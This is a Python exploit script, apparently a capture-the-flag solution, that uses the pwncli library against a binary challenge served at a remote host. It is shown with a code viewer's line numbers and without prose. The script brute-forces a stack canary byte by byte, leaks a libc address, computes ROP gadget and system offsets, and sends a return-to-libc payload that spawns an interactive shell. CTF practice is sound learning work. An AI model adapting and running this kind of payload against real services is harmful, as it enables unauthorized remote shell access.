1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130
|
from pwncli import *
filename = "chall.elf_patched" libcname = "./libc.so.6" host = "tcp.sasc.tf" port = 10080 elf = context.binary = ELF(filename) context.terminal = ["tmux", "neww"] context.log_level = "debug" if libcname: libc = ELF(libcname) gs = """ b main b *0x0004012DB set debug-file-directory /home/botdebug/.config/cpwn/pkgs/2.40-1ubuntu3/amd64/libc6-dbg_2.40-1ubuntu3_amd64/usr/lib/debug set directories /home/botdebug/.config/cpwn/pkgs/2.40-1ubuntu3/amd64/glibc-source_2.40-1ubuntu3_all/usr/src/glibc/glibc-2.40 """
def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path)
p = start()
def leak_address(): if context.arch == "i386": return u32(p.recv(4)) else: return u64(p.recv(6).ljust(8, b"\x00"))
def leak_address2(timeout=0.1): contains = b"\x7f" if context.bits == 64 else b"\xf7" m = p.recvuntil(contains, timeout=timeout) if contains not in m: raise RuntimeError("Cannot get libc addr") if context.bits == 32: return u32(m[-4:]) else: return u64(m[-6:].ljust(8, b"\x00"))
def dbg(): if args.AT: gdb.attach(p, gs) pause()
s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rl = lambda x: p.recvline(x) ia = lambda: p.interactive() op32 = make_packer(32, endian="big", sign="unsigned") op64 = make_packer(64, endian="big", sign="unsigned")
def send_child(msg): ru(b'[Mickey-') sl(b'1') ru(b'[Mickey-') child = int(p.recvuntil(b']: ', True)) s(msg)
def send_child2(msg): ru(b'[Mickey-') sl(b'1') pause() ru(b'[Mickey-') child = int(p.recvuntil(b']: ', True)) s(msg)
def exp():
canary = '\x00' for i in range(7): for i in range(256): send_child('a'*0x18 + canary + chr(i)) a = p.recvuntil(b'\n') if not b"lost" in a: canary += chr(i) break
print(f"canary: {canary}")
ru(b'yourself') payload = flat('a'*0x18, canary, 0x400778+8, 0x004012D4) send_child2(payload) libc_base = leak_address() - 0x8ce80 leak_ex2(libc_base) libc.address = libc_base
pop_rdi_addr = libc_base + 0x11903c pop_rsi_addr = libc_base + 0x11a3fd pop_rdx_addr = libc_base + 0x67e22 pop_rax_addr = libc_base + 0x84dff syscall_addr = libc_base + 0x9e276 gadget_addr = libc_base + 0x9d9c5 free_hook_addr = libc_base + 0x218148 malloc_hook_addr = libc_base + 0x218140 system_addr = libc_base + 0x5af30 bin_sh_addr = libc_base + 0x1d944a setcontext_addr = libc_base + 0x4ae10
payload = flat('a'*0x18, canary, 0, pop_rdi_addr+1, pop_rdi_addr, bin_sh_addr, libc.sym['system']) send_child2(payload)
ia()
exp()
|